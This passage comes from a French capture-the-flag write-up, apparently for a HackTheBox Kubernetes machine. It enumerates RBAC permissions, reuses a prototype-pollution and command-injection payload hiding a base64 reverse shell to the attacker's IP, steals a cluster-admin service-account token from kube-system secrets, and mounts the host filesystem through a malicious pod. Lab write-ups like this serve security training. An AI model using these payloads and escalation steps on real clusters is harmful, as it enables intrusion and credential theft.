WjAjMSEwHwYDVQQDDBhrM3Mtc2VydmVyLWNhQDE2NjE3NjUxNzEwWTATBgcqhkjO
PQIBBggqhkjOPQMBBwNCAARjzR9cs7kiNtbkFyt2CQty/RYFvTlArJQCVkBoxrNW
XRd1BgLk7hMVDIIeVTdExixxUcRO8K+ui1rynvTNi3Zpo0IwQDAOBgNVHQ8BAf8E
BAMCAqQwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUZnhTV57wo97Gip3FwA+4
VcbrH1AwCgYIKoZIzj0EAwIDSQAwRgIhAPG7nTC3s9lHoILiY0+jdBWX4AASg9nf
tAKZYtmwgkcPAiEA9sH5WxACqcXbDWcYTFVqKi36PLl75fYwxmaiXe7dAyI=
-----END CERTIFICATE-----' > ca.cert

$ export CACERT=/home/htb-mp-757893/ca.cert

$ export NAMESPACE=default

Nos variables d’environnement sont configurées, maintenant installons kubectl !

$ curl -LO https://dl.k8s.io/release/$(curl -Ls https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   138  100   138    0     0   1031      0 --:--:-- --:--:-- --:--:--  1029
100 49.0M  100 49.0M    0     0  36.5M      0  0:00:01  0:00:01 --:--:-- 34.1M

$ ls
app      google-cloudstorage-commands-0.0.1.tgz  my_data                     report-20240429110217.html
bin      insider                                 README.md                   report-20240429110217.json
ca.cert  insider_2.1.0_linux_x86_64.tar.gz       report-20240429110031.html  style.css
Desktop  kubectl                                 report-20240429110031.json  Templates

$ chmod +x ./kubectl

$ sudo mv ./kubectl /usr/local/bin/kubectl

$ kubectl version --client
Client Version: v1.30.0
Kustomize Version: v5.0.4-0.20230601165947-6ce0bf390ce3

$ alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true'

$ k get namespace
NAME              STATUS   AGE
default           Active   609d
kube-system       Active   609d
kube-public       Active   609d
kube-node-lease   Active   609d
dev               Active   609d

Dans le code snippet au dessus j’ai créé un alias pour éviter d’écrire le token, serveur et le certificat.

Inspectons nos permissions:

k auth can-i --list
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
namespaces                                      []                                    []               [get list]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get]

La commande k auth can-i --list liste les autorisations disponibles pour l'utilisateur actuel dans un environnement Kubernetes. Dans notre cas nous n’avons pas énormément de permissions dans ce namespace. On va lister les namespaces dans le but de trouver des permissions intéressantes pour nous.

$ k get ns
NAME              STATUS   AGE
default           Active   609d
kube-system       Active   609d
kube-public       Active   609d
kube-node-lease   Active   609d
dev               Active   609d

Nous avons 5 namespaces, inspectons nos permissions dans le namespace dev.

$ k auth can-i --list -n dev
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
namespaces                                      []                                    []               [get list]
pods                                            []                                    []               [get list]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get

pods [] [] [get list]

Nous pouvons lister les pods, alors faisons le !

$ k get pods -n dev
NAME                                  READY   STATUS    RESTARTS       AGE
devnode-deployment-776dbcf7d6-g4659   1/1     Running   6 (184d ago)   609d
devnode-deployment-776dbcf7d6-7gjgf   1/1     Running   6 (184d ago)   609d
devnode-deployment-776dbcf7d6-sr6vj   1/1     Running   6 (184d ago)   609d

On constate 3 pods qui sont actuellement en ligne, grâce à kubectl nous pouvons obtenir beaucoup d’informations sur ces pods grâce à la commande kubectl describe :

$ k -n dev describe pod devnode-deployment-776dbcf7d6-7gjgf
Name:             devnode-deployment-776dbcf7d6-7gjgf
Namespace:        dev
Priority:         0
Service Account:  default
Node:             unobtainium/10.129.171.170
Start Time:       Mon, 29 Aug 2022 10:32:21 +0100
Labels:           app=devnode
                  pod-template-hash=776dbcf7d6
Annotations:      <none>
Status:           Running
IP:               10.42.0.71
IPs:
  IP:           10.42.0.71
Controlled By:  ReplicaSet/devnode-deployment-776dbcf7d6
Containers:
  devnode:
    Container ID:   docker://d8e47e65a2a3e797e5bb008ac93fff0fe7ab27385c1cf0ff343ce9851dc8b6c1
    Image:          localhost:5000/node_server
    Image ID:       docker-pullable://localhost:5000/node_server@sha256:e965afd6a7e1ef3093afdfa61a50d8337f73cd65800bdeb4501ddfbc598016f5
    Port:           3000/TCP
    Host Port:      0/TCP
    State:          Running
      Started:      Mon, 29 Apr 2024 13:27:31 +0100
    Last State:     Terminated
      Reason:       Error
      Exit Code:    137
      Started:      Fri, 27 Oct 2023 16:17:50 +0100
      Finished:     Fri, 27 Oct 2023 16:24:53 +0100
    Ready:          True
    Restart Count:  6
    Environment:    <none>
    Mounts:
      /root/ from user-flag (rw)
      /var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-snd89 (ro)
Conditions:
  Type              Status
  Initialized       True
  Ready             True
  ContainersReady   True
  PodScheduled      True
Volumes:
  user-flag:
    Type:          HostPath (bare host directory volume)
    Path:          /opt/user/
    HostPathType:
  kube-api-access-snd89:
    Type:                    Projected (a volume that contains injected data from multiple sources)
    TokenExpirationSeconds:  3607
    ConfigMapName:           kube-root-ca.crt
    ConfigMapOptional:       <nil>
    DownwardAPI:             true
QoS Class:                   BestEffort
Node-Selectors:              <none>
Tolerations:                 node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
                             node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
Events:                      <none>

Comme nous pouvons le constater il y a vraiment beaucoup d’informations ici, comme les volumes qui sont montés, l’image utilisée, les ports, les labels, etc …

🚀 Élévation de privilège

Ce que j’ai retenu ici c’est l’adressage ip:

  • devnode-deployment-776dbcf7d6-7gjgf : 10.42.0.71
  • devnode-deployment-776dbcf7d6-sr6vj : 10.42.0.67
  • devnode-deployment-776dbcf7d6-g4659 : 10.42.0.63

Essayons d’atteindre ces pods depuis celui que nous avons pwn:

root@webapp-deployment-9546bc7cb-zjnnh:/var/run/secrets/kubernetes.io/serviceaccount# ping 10.42.0.71
PING 10.42.0.71 (10.42.0.71) 56(84) bytes of data.
64 bytes from 10.42.0.71: icmp_seq=1 ttl=64 time=0.169 ms
64 bytes from 10.42.0.71: icmp_seq=2 ttl=64 time=0.107 ms
^C
--- 10.42.0.71 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 9ms
rtt min/avg/max/mdev = 0.107/0.138/0.169/0.031 ms
root@webapp-deployment-9546bc7cb-zjnnh:/var/run/secrets/kubernetes.io/serviceaccount# ping 10.42.0.67
PING 10.42.0.67 (10.42.0.67) 56(84) bytes of data.
64 bytes from 10.42.0.67: icmp_seq=1 ttl=64 time=0.146 ms
64 bytes from 10.42.0.67: icmp_seq=2 ttl=64 time=0.066 ms
^C
--- 10.42.0.67 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 25ms
rtt min/avg/max/mdev = 0.066/0.106/0.146/0.040 ms
root@webapp-deployment-9546bc7cb-zjnnh:/var/run/secrets/kubernetes.io/serviceaccount# ping 10.42.0.63
PING 10.42.0.63 (10.42.0.63) 56(84) bytes of data.
64 bytes from 10.42.0.63: icmp_seq=1 ttl=64 time=0.199 ms
64 bytes from 10.42.0.63: icmp_seq=2 ttl=64 time=0.095 ms
^C
--- 10.42.0.63 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 9ms
rtt min/avg/max/mdev = 0.095/0.147/0.199/0.052 ms

Parfait, tous sont atteignables. Nous avons remarqué lors du describe que le port 3000 était utilisé sur ces pods, alors essayons d’interagir avec eux. Rapidement on se rend compte qu’il semblerait que ce soit la même application web que tout à l’heure. Dans ce cas on va bêtement réutiliser nos attaques de tout à l’heure !

Reproduisons donc ceci :

curl -m5 -X PUT -H "Content-Type: application/json" -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "message": {"foo": "bar", "__proto__": {"canUpload": true}}}' http://10.42.0.71:3000/ && echo && curl -m5 -X POST -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename":"foobar; echo 'c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuOTIvNDQ0NCAwPiYx' | base64 -d | bash;"}' -H "Content-Type: application/json"  http://10.42.0.71:3000/upload
$ nc -lnvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.171.170.
Ncat: Connection from 10.129.171.170:11510.
sh: 0: can't access tty; job control turned off

# id

Super, nous obtenons de nouveau un shell, on va reproduire exactement la même chose que précédemment, nous récupérons les tokens et certificat et mettre à jour nos variables d’environnement pour vérifier si nous avons d’autres rôles avec ce nouveau compte de service:

# cat token && echo
eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxNzQ1OTM1NDI1LCJpYXQiOjE3MTQzOTk0MjUsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZXYiLCJwb2QiOnsibmFtZSI6ImRldm5vZGUtZGVwbG95bWVudC03NzZkYmNmN2Q2LTdnamdmIiwidWlkIjoiMjVhNjdmMTUtYTc5NC00NjMyLTkwYmEtY2RkMGVlMmU2ZGNlIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJkZWZhdWx0IiwidWlkIjoiMjk1NzViZmMtMTlkYi00MTBkLWJmZmYtZWQ1OGVjMWY0NzUzIn0sIndhcm5hZnRlciI6MTcxNDQwMzAzMn0sIm5iZiI6MTcxNDM5OTQyNSwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRldjpkZWZhdWx0In0.vVnxXZOm-Z7yZW3RcY-d33Nm_qumcizqLhNlzCnJXYGGJQUlvMYcT2FktS8x8VcFbIF_6TM8dhjwyMIMVQGBGEYY_WUs8aLhi7Fq7YqMcjhbNbS853aSUyId1fJBUWCUZlro--MhOnvr_s0KxF2Eno7si4-r2IF2KDhXotu-zNsvNuz8yQvE6IL1msi5GSnqBzbptvGYHlZyeF27WuF9h5hrr1pkMnsW7e2_HKu0rspag7HOxXe11Bh8Xpg5vBxGbOmsvtfHLuXYsK2Onz09HurCTLulydJF6YAlAm0lEM8SoEhmiCkrWrsbHfI6tkp94oJT8vDoLzKiEhR91eZiyw

# cat ca.crt && echo
-----BEGIN CERTIFICATE-----
MIIBeDCCAR2gAwIBAgIBADAKBggqhkjOPQQDAjAjMSEwHwYDVQQDDBhrM3Mtc2Vy
dmVyLWNhQDE2NjE3NjUxNzEwHhcNMjIwODI5MDkyNjExWhcNMzIwODI2MDkyNjEx
WjAjMSEwHwYDVQQDDBhrM3Mtc2VydmVyLWNhQDE2NjE3NjUxNzEwWTATBgcqhkjO
PQIBBggqhkjOPQMBBwNCAARjzR9cs7kiNtbkFyt2CQty/RYFvTlArJQCVkBoxrNW
XRd1BgLk7hMVDIIeVTdExixxUcRO8K+ui1rynvTNi3Zpo0IwQDAOBgNVHQ8BAf8E
BAMCAqQwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUZnhTV57wo97Gip3FwA+4
VcbrH1AwCgYIKoZIzj0EAwIDSQAwRgIhAPG7nTC3s9lHoILiY0+jdBWX4AASg9nf
tAKZYtmwgkcPAiEA9sH5WxACqcXbDWcYTFVqKi36PLl75fYwxmaiXe7dAyI=
-----END CERTIFICATE-----
$ export TOKEN='eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxNzQ1OTM1NDI1LCJpYXQiOjE3MTQzOTk0MjUsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZXYiLCJwb2QiOnsibmFtZSI6ImRldm5vZGUtZGVwbG95bWVudC03NzZkYmNmN2Q2LTdnamdmIiwidWlkIjoiMjVhNjdmMTUtYTc5NC00NjMyLTkwYmEtY2RkMGVlMmU2ZGNlIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJkZWZhdWx0IiwidWlkIjoiMjk1NzViZmMtMTlkYi00MTBkLWJmZmYtZWQ1OGVjMWY0NzUzIn0sIndhcm5hZnRlciI6MTcxNDQwMzAzMn0sIm5iZiI6MTcxNDM5OTQyNSwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRldjpkZWZhdWx0In0.vVnxXZOm-Z7yZW3RcY-d33Nm_qumcizqLhNlzCnJXYGGJQUlvMYcT2FktS8x8VcFbIF_6TM8dhjwyMIMVQGBGEYY_WUs8aLhi7Fq7YqMcjhbNbS853aSUyId1fJBUWCUZlro--MhOnvr_s0KxF2Eno7si4-r2IF2KDhXotu-zNsvNuz8yQvE6IL1msi5GSnqBzbptvGYHlZyeF27WuF9h5hrr1pkMnsW7e2_HKu0rspag7HOxXe11Bh8Xpg5vBxGbOmsvtfHLuXYsK2Onz09HurCTLulydJF6YAlAm0lEM8SoEhmiCkrWrsbHfI6tkp94oJT8vDoLzKiEhR91eZiyw'

Vérifions que tout marche:

$ k auth can-i --list -n default
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get]

Rien d’intéressant sur ce namespace, tentons kube-system :

$ k auth can-i --list -n kube-system
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
secrets                                         []                                    []               [get list]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get]

BINGO! On peut lister les secrets sur ce namespace!

$ k get -n kube-system secrets
NAME                                                 TYPE                                  DATA   AGE
unobtainium.node-password.k3s                        Opaque                                1      609d
horizontal-pod-autoscaler-token-2fg27                kubernetes.io/service-account-token   3      609d
coredns-token-jx62b                                  kubernetes.io/service-account-token   3      609d
local-path-provisioner-service-account-token-2tk2q   kubernetes.io/service-account-token   3      609d
statefulset-controller-token-b25sg                   kubernetes.io/service-account-token   3      609d
certificate-controller-token-98jdq                   kubernetes.io/service-account-token   3      609d
root-ca-cert-publisher-token-t564t                   kubernetes.io/service-account-token   3      609d
ephemeral-volume-controller-token-brb5h              kubernetes.io/service-account-token   3      609d
ttl-after-finished-controller-token-wf8k9            kubernetes.io/service-account-token   3      609d
replication-controller-token-9m8mh                   kubernetes.io/service-account-token   3      609d
service-account-controller-token-6vsl2               kubernetes.io/service-account-token   3      609d
node-controller-token-dfztj                          kubernetes.io/service-account-token   3      609d
metrics-server-token-d4k84                           kubernetes.io/service-account-token   3      609d
pvc-protection-controller-token-btkqg                kubernetes.io/service-account-token   3      609d
pv-protection-controller-token-k8gq8                 kubernetes.io/service-account-token   3      609d
endpoint-controller-token-zd5b9                      kubernetes.io/service-account-token   3      609d
disruption-controller-token-cnqj8                    kubernetes.io/service-account-token   3      609d
cronjob-controller-token-csxvj                       kubernetes.io/service-account-token   3      609d
endpointslice-controller-token-wrnvm                 kubernetes.io/service-account-token   3      609d
pod-garbage-collector-token-56dzk                    kubernetes.io/service-account-token   3      609d
namespace-controller-token-g8jmq                     kubernetes.io/service-account-token   3      609d
daemon-set-controller-token-b68xx                    kubernetes.io/service-account-token   3      609d
replicaset-controller-token-7fkxv                    kubernetes.io/service-account-token   3      609d
job-controller-token-xctqc                           kubernetes.io/service-account-token   3      609d
ttl-controller-token-rsshv                           kubernetes.io/service-account-token   3      609d
deployment-controller-token-npk6k                    kubernetes.io/service-account-token   3      609d
# attachdetach-controller-token-xvj9h                  kubernetes.io/service-account-token   3      609d
endpointslicemirroring-controller-token-b5r69        kubernetes.io/service-account-token   3      609d
resourcequota-controller-token-8pp4p                 kubernetes.io/service-account-token   3      609d
generic-garbage-collector-token-5nkzj                kubernetes.io/service-account-token   3      609d
persistent-volume-binder-token-865v2                 kubernetes.io/service-account-token   3      609d
expand-controller-token-f2csp                        kubernetes.io/service-account-token   3      609d
clusterrole-aggregation-controller-token-wp8k6       kubernetes.io/service-account-token   3      609d
default-token-h5tf2                                  kubernetes.io/service-account-token   3      609d
c-admin-token-b47f7                                  kubernetes.io/service-account-token   3      609d
k3s-serving                                          kubernetes.io/tls                     2      185d

La commande du dessus a permis de lister tous les secrets sur le namespace kube-system , On peut remarquer un nom un peu plus sympa que les autres: “c-admin-token-b47f7”, nous allons donc récupérer les détails de ce secret:

$ k describe -n kube-system secrets/c-admin-token-b47f7
Name:         c-admin-token-b47f7
Namespace:    kube-system
Labels:       <none>
Annotations:  kubernetes.io/service-account.name: c-admin
              kubernetes.io/service-account.uid: 31778d17-908d-4ec3-9058-1e523180b14c

Type:  kubernetes.io/service-account-token

Data
====
ca.crt:     570 bytes
namespace:  11 bytes
token:      eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLWI0N2Y3Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIzMTc3OGQxNy05MDhkLTRlYzMtOTA1OC0xZTUyMzE4MGIxNGMiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.fka_UUceIJAo3xmFl8RXncWEsZC3WUROw5x6dmgQh_81eam1xyxq_ilIz6Cj6H7v5BjcgIiwsWU9u13veY6dFErOsf1I10nADqZD66VQ24I6TLqFasTpnRHG_ezWK8UuXrZcHBu4Hrih4LAa2rpORm8xRAuNVEmibYNGhj_PNeZ6EWQJw7n87lir2lYcqGEY11kXBRSilRU1gNhWbnKoKReG_OThiS5cCo2ds8KDX6BZwxEpfW4A7fKC-SdLYQq6_i2EzkVoBg8Vk2MlcGhN-0_uerr6rPbSi9faQNoKOZBYYfVHGGM3QDCAk3Du-YtByloBCfTw8XylG9EuTgtgZA

Parfait, maintenant que nous avons le token de c-admin nous allons mettre à jour nos variables d’environnement pour accéder à ses permissions:

$ export TOKEN='eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLWI0N2Y3Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIzMTc3OGQxNy05MDhkLTRlYzMtOTA1OC0xZTUyMzE4MGIxNGMiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.fka_UUceIJAo3xmFl8RXncWEsZC3WUROw5x6dmgQh_81eam1xyxq_ilIz6Cj6H7v5BjcgIiwsWU9u13veY6dFErOsf1I10nADqZD66VQ24I6TLqFasTpnRHG_ezWK8UuXrZcHBu4Hrih4LAa2rpORm8xRAuNVEmibYNGhj_PNeZ6EWQJw7n87lir2lYcqGEY11kXBRSilRU1gNhWbnKoKReG_OThiS5cCo2ds8KDX6BZwxEpfW4A7fKC-SdLYQq6_i2EzkVoBg8Vk2MlcGhN-0_uerr6rPbSi9faQNoKOZBYYfVHGGM3QDCAk3Du-YtByloBCfTw8XylG9EuTgtgZA'

$ k auth can-i --list
Resources                                       Non-Resource URLs                     Resource Names   Verbs
*.*                                             []                                    []               [*]
                                                [*]                                   []               [*]
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get

Il semblerait que ce soit la dernière ligne droite, nous disposons désormais de nombreuses permissions !

À présent notre objectif va être de créer un pod malicieux qui va monter en volume tout le fs de l’hôte. Pour cela nous allons commencer par récupérer les images disponibles:

k get pods --all-namespaces -o jsonpath="{.items[*].spec.containers[*].image}" | tr -s '[[:space:]]' '\n' | sort -u  
localhost:5000/dev-alpine
localhost:5000/node_server
rancher/local-path-provisioner:v0.0.21
rancher/mirrored-coredns-coredns:1.8.6
rancher/mirrored-metrics-server:v0.5.2

On va maintenant créer un pod qui va monter le root de l’hôte dans /mnt à partir de l’image alpine, voilà un exemple de fichier de déploiement:

apiVersion: v1
kind: Pod
metadata:
  name: alpine
  namespace: kube-system
spec:
  containers:
  - name: htb
    image: localhost:5000/dev-alpine
    command: ["/bin/sh"]
    args: ["-c", "sleep 300000"]
    volumeMounts:
    - mountPath: /mnt
      name: hostfs
  volumes:
  - name: hostfs
    hostPath:
      path: /

Nous allons maintenant appliquer notre fichier de déploiement, cela aura pour effet d’instancier un pod qui va monter en volume le / du filesystem de l’hôte dans /mnt

k apply -f pod.yml

À présent, nous allons exécuter une commande shell à l'intérieur d'un conteneur en cours d'exécution, soit avoir un shell directement dans le pod concerné

$ k exec alpine -n kube-system /bin/sh --tty --stdin

$ cat /mnt/root/root.txt
XXXXXXXXXXXXXXXXXXX

📚 Ressources

🛠️ Outils